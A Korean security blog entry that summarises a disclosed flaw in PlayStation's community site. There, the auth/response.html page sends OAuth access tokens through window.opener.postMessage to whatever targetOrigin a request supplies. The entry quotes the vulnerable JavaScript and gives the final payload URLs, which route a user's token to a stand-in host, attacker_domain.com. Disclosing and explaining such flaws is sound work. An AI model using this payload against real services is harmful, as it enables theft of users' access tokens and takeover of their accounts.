[하루한줄] Access token stealing in playstation

URL

Access token stealing in playstation

Target

https://my.playstation.com

Explain

콘솔 게임기기인 PlayStation의 커뮤니티 https://my.playstation.com/auth/response.html 에서 로그인된 사용자의 Access Token을 탈취할 수 있는 취약점이 발견되었습니다.

https://my.playstation.com/auth/response.html?requestID=iframe_request_ca8b5107-9b8f-4510-9667-15fd7b9327d1&baseUrl=/&targetOrigin=https://my.playstation.com 페이지는 발급 서버에서 클라이언트로 OAuth 액세스 토큰을 전송하는 자바스크립트를 호스팅 합니다.

function parseResponse(a) {
    var b = a.hash.substr(1),
        c = a.search.substr(1),
        d = b + "&" + c,
        e = convertToObject(d);
    return e.refererURL = a.toString(), e
}
....

function sendResponseToApp(a) {
    var b = extractFrameTypeFromRequestID(a.requestID),
        c = a.targetOrigin || getOrigin(),
        d = a.baseUrl || "",
        e = a.returnRoute || "",
        f = a.excludeQueryParams,
        g = !f && window.location.search || "";
    switch (b) {
...
        case "window":
            window.opener.postMessage(a, c);
            break;
...
    }
}

var response = parseResponse(window.location);
sendResponseToApp(response);

호스팅된 위 자바스크립트에서 아래 과정을 통해 access token을 해커의 서버로 전송할 수 있습니다.

  1. request query를 parseResponse() 함수에서 파싱 한 뒤 sendResponseToApp() 의 매개변수로 전달해 호출합니다.
  2. query 중 reqeustID 필드 값이 “window” 면 window.opener.postMessage()를 호출합니다.
  3. window.opener.postMessage() 는 첫 번째 매개변수를 두 번째 매개변수인 특정 도메인으로 전달할 수 있습니다. 매개변수로 query와 targetOrigin 필드 값이 전달되면 targetOrigin 도메인으로 query에 포함되어 있는 Access Token을 전송할 수 있습니다.

이를 이용한 최종 페이로드는 다음과 같습니다.

https://my.playstation.com/auth/response.html?requestID=window_request_ca8b5107-9b8f-4510-9667-15fd7b9327d1&baseUrl=/&targetOrigin=https://attacker_domain.com 

위 페이로드를 OAuth 발급 서버 request query의 redirect_uri 필드 값으로 보내면 Access Token을 탈취할 수 있습니다.

https://auth.api.sonyentertainmentnetwork.com/2.0/oauth/authorize?response_type=token&scope=capone:report_submission,kamaji:game_list,kamaji:get_account_hash,user:account.get,user:account.profile.get,kamaji:social_get_graph,kamaji:ugc:distributor,user:account.identityMapper,kamaji:music_views,kamaji:activity_feed_get_feed_privacy,kamaji:activity_feed_get_news_feed,kamaji:activity_feed_submit_feed_story,kamaji:activity_feed_internal_feed_submit_story,kamaji:account_link_token_web,kamaji:ugc:distributor_web,kamaji:url_preview&client_id=656ace0b-d627-47e6-915c-13b259cd06b2&redirect_uri=https://my.playstation.com/auth/response.html?requestID=window_request_ca8b5107-9b8f-4510-9667-15fd7b9327d1&baseUrl=/&targetOrigin=https://attacker_domain.com/&prompt=non